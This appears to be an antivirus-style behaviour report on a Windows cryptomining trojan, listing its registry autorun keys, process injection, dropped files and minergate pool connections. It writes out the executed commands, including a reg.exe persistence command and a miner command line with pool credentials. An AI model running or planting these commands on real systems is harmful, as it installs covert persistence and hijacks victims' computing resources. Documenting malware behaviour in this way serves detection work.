Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'MbXwQktjwK' = '"<LS_APPDATA>\bzYMtWXbEy\armsvc.exe"'
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows] 'Load' = '%TEMP%\\armsvc.exe.lnk'
Malicious functions:
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
the following user processes:
- svhost.exe
Modifies file system:
Creates the following files:
- %TEMP%\svhost.exe
- <LS_APPDATA>\bzYMtWXbEy\armsvc.exe
- %TEMP%\armsvc.exe:Zone.Identifier
- %TEMP%\armsvc.exe
- %HOMEPATH%\AppData\Local\Temp\armsvc.exe.lnk
Network activity:
Connects to:
- 'xm#.###l.minergate.com':45560
UDP:
- DNS ASK xm#.###l.minergate.com
Miscellaneous:
Creates and executes the following:
- '%TEMP%\svhost.exe'
Executes the following:
- '<SYSTEM32>\svchost.exe' -o xmr.pool.minergate.com:45560 -u 44oip@ruu.kr -p x -v 0 -t 2
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%TEMP%\\armsvc.exe.lnk" /f
- '<SYSTEM32>\cmd.exe'
